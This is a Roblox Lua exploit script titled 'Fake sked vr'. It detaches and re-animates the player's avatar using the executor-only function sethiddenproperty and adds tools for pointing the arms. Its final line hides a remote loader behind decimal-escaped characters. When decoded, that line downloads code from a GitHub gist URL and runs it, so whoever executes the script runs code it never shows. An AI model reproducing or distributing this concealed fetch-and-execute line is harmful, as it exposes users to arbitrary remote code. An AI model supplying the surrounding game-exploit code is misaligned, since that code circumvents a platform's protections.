Fake sked vr

local plr = game.Players.LocalPlayer
local char = game.Players.LocalPlayer.Character
local srv = game:GetService('RunService')
local ct = {}
local te = table.insert

char.Archivable=true
local reanim = char:Clone()
local fl = Instance.new('Folder',char) fl.Name = 'VEE AHR'

for i,v in next, reanim:GetDescendants() do
if v:IsA('BasePart') or v:IsA('Decal') then
v.Transparency=1
end
end

for i,v in next, char:GetDescendants() do
if v:IsA('BasePart') then
te(ct,srv.Heartbeat:Connect(function()
v.Velocity = Vector3.new(0,-30,0)
sethiddenproperty(game.Players.LocalPlayer,"MaximumSimulationRadius",10000)
sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",10000)
end))
end
end

for i,v in next, char.Humanoid:GetPlayingAnimationTracks() do
v:Stop()
end
char.Animate:Remove()

char.HumanoidRootPart:Destroy()
char.Humanoid:ChangeState(16)

hats=0
function create(part, parent, p, r)
hats=hats+1
Instance.new("Attachment",part)
Instance.new("AlignPosition",part)
Instance.new("AlignOrientation",part)
Instance.new("Attachment",parent)
part.Attachment.Name = part.Name..hats
parent.Attachment.Name = part.Name..hats
part.AlignPosition.Attachment0 = part[part.Name..hats]
part.AlignOrientation.Attachment0 = part[part.Name..hats]
part.AlignPosition.Attachment1 = parent[part.Name..hats]
part.AlignOrientation.Attachment1 = parent[part.Name..hats]
parent[part.Name..hats].Position = p or Vector3.new()
part[part.Name..hats].Orientation = r or Vector3.new()
part.AlignPosition.MaxForce = 999999999
part.AlignPosition.MaxVelocity = 99999999
part.AlignPosition.ReactionForceEnabled = false
part.AlignPosition.Responsiveness = 99999999
part.AlignOrientation.Responsiveness = 99999999
part.AlignPosition.RigidityEnabled = false
part.AlignOrientation.MaxTorque = 999999
end

for i,v in next, char:GetDescendants() do
if v:IsA('Motor6D') and v.Name ~= 'Neck' then
v:Destroy()
end
end

for i,v in next, char:GetDescendants() do
if v:IsA('BasePart') and v.Name ~= 'Head' and v.Name ~= 'Torso' and v.Name ~= 'Right Arm' and v.Name ~= 'Left Arm' and v.Parent==char then
create(v,reanim[v.Name])
end
end

create(char.Torso,reanim.Torso,Vector3.new(0,0,0),Vector3.new(0,0,0))

char.Head.Anchored = true

for i,v in next, char:GetDescendants() do
if v:IsA('Accessory') then
v.Handle:BreakJoints()
v.Handle.Transparency = 0
create(v.Handle,reanim[v.Name].Handle)
wait()
te(ct,srv.RenderStepped:Connect(function()
v.Handle.CFrame=reanim[v.Name].Handle.CFrame
end))
te(ct,srv.Heartbeat:Connect(function()
v.Handle.CFrame=reanim[v.Name].Handle.CFrame
end))
end
end

function noc()
for i,v in next, reanim:GetDescendants() do
if v:IsA('MeshPart') or v:IsA('BasePart') then
table.insert(ct,srv.Stepped:Connect(function()
v.CanCollide = false
end))
end
end
for i,v in next, char:GetDescendants() do
if v:IsA('MeshPart') or v:IsA('BasePart') then
table.insert(ct,srv.Stepped:Connect(function()
if not v.Name == "Right Arm" or "Left Arm" then
v.CanCollide = false
end
end))
end
end
for i,v in next, reanim:GetDescendants() do
if v:IsA('MeshPart') or v:IsA('BasePart') then
table.insert(ct,srv.RenderStepped:Connect(function()
v.CanCollide = false
end))
end
end
for i,v in next, char:GetDescendants() do
if v:IsA('MeshPart') or v:IsA('BasePart') then
table.insert(ct,srv.RenderStepped:Connect(function()
v.CanCollide = false
end))
end
end
end

char['Left Leg']:Remove()
char['Right Leg']:Remove()

noc()

reanim.Animate.Disabled=true

reanim.Parent=fl

plr.Character=reanim
workspace.Camera.CameraSubject=reanim

RA=char['Right Arm']
LA=char['Left Arm']
FRA=Instance.new('Part',reanim)
FRA.Transparency=1
FRA.Size=Vector3.new(1,1,2)
FLA=Instance.new('Part',reanim)
FLA.Transparency=1
FLA.Size=Vector3.new(1,1,2)
FHD=Instance.new('Part',reanim)
FHD.Transparency=1
FHD.Size=Vector3.new(2,1,1)

create(FHD,reanim.Torso,Vector3.new(0,1,0))
create(FRA,reanim.Torso,Vector3.new(1.5,0,0))
create(FLA,reanim.Torso,Vector3.new(-1.5,0,0))
create(char['Right Arm'],FRA)
create(char['Left Arm'],FLA)

for i,v in next, reanim:GetDescendants() do
if v:IsA('Accessory') then
if v.Handle.AccessoryWeld.Part1.Name == 'Right Arm' then
v.Handle.AccessoryWeld.Part1 = char['Right Arm']
end
if v.Handle.AccessoryWeld.Part1.Name == 'Left Arm' then
v.Handle.AccessoryWeld.Part1 = char['Left Arm']
end
if v.Handle.AccessoryWeld.Part1.Name == 'Head' then
v.Handle.AccessoryWeld.Part1 = FHD
v.Handle.AccessoryWeld.C0=v.Handle.AccessoryWeld.C0*CFrame.new(0,-0.5,0)
end
end
end

m=plr:GetMouse()

te(ct,srv.Stepped:Connect(function()
m.TargetFilter=char
end))

te(ct,srv.RenderStepped:Connect(function()
m.TargetFilter=char
end))

--char.Head.Mesh:Destroy()

te(ct,srv.RenderStepped:Connect(function()
m.TargetFilter=char
--FHD.CFrame=CFrame.new(FHD.Position,Vector3.new(m.Hit.p.x,m.Hit.p.y,m.Hit.p.z))
--FRA.CFrame=CFraawme.new(FRA.Position,Vector3.new(m.Hit.p.x,m.Hit.p.y,m.Hit.p.z))
--FLA.CFrame=CFrame.new(FLA.Position,Vector3.new(m.Hit.p.x,m.Hit.p.y,m.Hit.p.z))
char['Right Arm'].CFrame=FRA.CFrame*CFrame.new(0,0,rm)*CFrame.Angles(math.rad(90),0,0)
char['Left Arm'].CFrame=FLA.CFrame*CFrame.new(0,0,lm)*CFrame.Angles(math.rad(90),0,0)
end))

rm=-2
lm=-2
lg=-2
local leftpoint = false
local rightpoint = false
local headpoint = false
te(ct,srv.Heartbeat:Connect(function()
m.TargetFilter=char
if headpoint ~= false then
FHD.CFrame=CFrame.new(FHD.Position,Vector3.new(m.Hit.p.x,m.Hit.p.y,m.Hit.p.z))
end
if rightpoint ~= false then
FRA.CFrame=CFrame.new(FRA.Position,Vector3.new(m.Hit.p.x,m.Hit.p.y,m.Hit.p.z))
end
if leftpoint ~= false then
FLA.CFrame=CFrame.new(FLA.Position,Vector3.new(m.Hit.p.x,m.Hit.p.y,m.Hit.p.z))
end
char['Right Arm'].CFrame=FRA.CFrame*CFrame.new(0,0,rm)*CFrame.Angles(math.rad(90),0,0)
char['Left Arm'].CFrame=FLA.CFrame*CFrame.new(0,0,lm)*CFrame.Angles(math.rad(90),0,0)
end))

te(ct,m.KeyDown:Connect(function(k)
if k == 'g' then
rm=-4
end
if k == 'f' then
lm=-4
end
end))

te(ct,m.KeyUp:Connect(function(k)
if k == 'g' then
rm=-2
end
if k == 'f' then
lm=-2
end
end))

reanim.Humanoid.Died:Connect(function()
plr.Character=char
char:BreakJoints()
for i,v in next, ct do v:Disconnect() end
hc=char:Clone()
char.Humanoid:Destroy()
hc.Parent=char
game.Players:Chat('-re')
end)
local keepcam = false
local camera = game.Workspace.Camera
local tool2 = Instance.new("Tool")
tool2.RequiresHandle = false
tool2.Parent = plr.Backpack
tool2.Name = "Right Arm"

tool2.Equipped:Connect(function()
    if keepcam ~= false then
    headpoint = false
    rightpoint = true
    camera.CameraType = Enum.CameraType.Scriptable
else
    headpoint = false
    rightpoint = true
    camera.CameraType = Enum.CameraType.Track
end
end)
local tool = Instance.new("Tool")
tool.RequiresHandle = false
tool.Parent = plr.Backpack
tool.Name = "Left Arm"

local tool3 = Instance.new("Tool")
tool3.RequiresHandle = false
tool3.Parent = plr.Backpack
tool3.Name = "Both Arm"

tool.Equipped:Connect(function()
    if keepcam ~= false then
    headpoint = false
    leftpoint = true
    camera.CameraType = Enum.CameraType.Scriptable
else
    headpoint = false
    leftpoint = true
    camera.CameraType = Enum.CameraType.Track
end
end)
tool3.Equipped:Connect(function()
    if keepcam ~= false then
    headpoint = false
    leftpoint = true
    rightpoint = true
    camera.CameraType = Enum.CameraType.Scriptable
else
    camera.CameraType = Enum.CameraType.Track
    headpoint = false
    leftpoint = true
    rightpoint = true
end
end)
local tool4 = Instance.new("Tool")
tool4.Name = "Keepcamera OFF"
tool4.RequiresHandle = false
tool4.Parent = plr.Backpack
tool.Unequipped:Connect(function()
    headpoint = false
    leftpoint = false
    camera.CameraType = Enum.CameraType.Track
end)

tool4.Equipped:Connect(function()
    if keepcam ~= true then
    keepcam = true
    tool4.Name = "Keepcamera ON"
   else
    keepcam = false
    tool4.Name = "Keepcamera OFF"
    camera.CameraType = Enum.CameraType.Track
    end
end)

tool2.Unequipped:Connect(function()
    headpoint = false
    rightpoint = false
    camera.CameraType = Enum.CameraType.Track
end)

tool3.Unequipped:Connect(function()
    headpoint = false
    rightpoint = false
    leftpoint = false
    camera.CameraType = Enum.CameraType.Track
    end)
loadstring("\108\111\97\100\115\116\114\105\110\103\40\103\97\109\101\58\72\116\116\112\71\101\116\40\40\39\104\116\116\112\115\58\47\47\103\105\115\116\46\103\105\116\104\117\98\117\115\101\114\99\111\110\116\101\110\116\46\99\111\109\47\109\101\111\122\111\110\101\89\84\47\98\102\48\51\55\100\102\102\57\102\48\97\55\48\48\49\55\51\48\52\100\100\100\54\55\102\100\99\100\51\55\48\47\114\97\119\47\101\49\52\101\55\52\102\52\50\53\98\48\54\48\100\102\53\50\51\51\52\51\99\102\51\48\98\55\56\55\48\55\52\101\98\51\99\53\100\50\47\97\114\99\101\117\115\37\50\53\50\48\120\37\50\53\50\48\102\108\121\37\50\53\50\48\50\37\50\53\50\48\111\98\102\108\117\99\97\116\111\114\39\41\44\116\114\117\101\41\41\40\41\10\10")()